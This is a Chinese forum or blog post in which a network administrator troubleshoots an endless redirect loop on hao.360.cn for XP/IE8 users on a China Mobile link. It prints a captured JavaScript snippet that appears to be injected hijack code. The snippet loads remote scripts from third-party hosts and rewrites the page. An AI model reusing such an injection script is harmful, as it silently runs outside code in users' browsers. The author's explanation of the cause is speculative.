最近单位里访问hao.360.cn经常会跳....无限循环,有时跳几十次后才会打开。。。。
但是,单位里走电信出口部分的电脑就没有问题。。。同样的电脑(移动出口)的用360浏览器、火狐也问题不大,关键是IE。。。
另外,主要是XP系统、IE8,而我自己的笔记本Win10+IE11就没问题。。。
感觉吧这又是移动这个烂宽带的关系了,但没办法呀,这问题不处理,单位的用户只会说你的网络烂,人家才不听你解释在Win10下就没问题,只有XP下老版本的IE才有问题。。。最后屎盆子又会扣到我们头上来了。。。所以还得乖乖解决之。
首先把问题现象区分清楚后,由于单位上千台电脑,不可能告诉人家全换Win10,这不现实。。。
1)、所以可以确定是XP下IE数据包的问题了,先来排除看是不是走移动链路、使用移动DNS解析的问题????
结果经测试,我用路由策略把故障电脑设置为电信链路(当然同时用电信DNS了),问题依旧,所以排除这个问题,其实也可以不用测这个的,因为同样的节点用Win10就没问题呀。。
2)、抓包,懒得装wireshark了,用了个绿色版抓包工具,如下:
可以看到,不停的在hao.360.cn、www.zhnxdz.com之间跳,毕竟360这种大网站是用了CDN加速的,估计是这个地方对浏览器有兼容性问题,再看了看其中抓包的HTTP内容,在Content里面有如下的段:
<!doctype html><html><head><meta name="referrer" content="never"><meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<noscript><meta http-equiv="refresh" content="0;url=https://hao.360.cn/"></noscript></head><body><script type="text/javascript">!function()
{function d(a){return a=a||document.createElement("script"),"onload"in a?!0:(a.setAttribute("onload",""),"function"==typeof a.onload)}
function e(a){var b=document.createElement("script");return b.src=a,document.body?(document.body.appendChild(b),b):!1}
function f(a){clearTimeout(a),document.write(page.html),document.write('<script src="'+c+'"></script>'),document.close()}
function g(a){location.replace(a)}function h(){setTimeout(function(){document.body||location.reload("http://"+a)},2e3)}
var i,j,a="hao.360.cn",b="http://www.zhnxdz.com/html/h3c.js",c="http://nfresh.cn/js/navigation/pc/hao360/irt.js";h(),i=setTimeout(function()
{g("https://"+a)},15e3),j=e(b),d(j)?(j.onload=function(){f(i,j)},j.onerror=function(){g("https://"+a)}):j.onreadystatechange=
function(){/loaded|complete/.test(j.readyState)?f(i,j):g("https://"+a)}}();</script></body></html>
这里面我发现会去引用几个JS,比如其中:http://www.zhnxdz.com/html/h3c.js ,不知道是什么鬼,但最终发现问题就在这里,我在电脑上用浏览器打开出现:
也就是说我的出口IP被它们封了,但为什么呢?先不管。。。。同样的这个URL在另外的电信出口上可以打开这个JS。。。。
所以,接下来,我上路由器,把NAT POOL换了一个没用过的IP,问题就搞定了。。。。
至此,问题搞定了,那么问题的问题的,为什么我的出口IP会被这个www.zhnxdz.com认为是黑名单。。。。只能再去问问看了,是不是由于不断重新刷新,连接次数太多导致????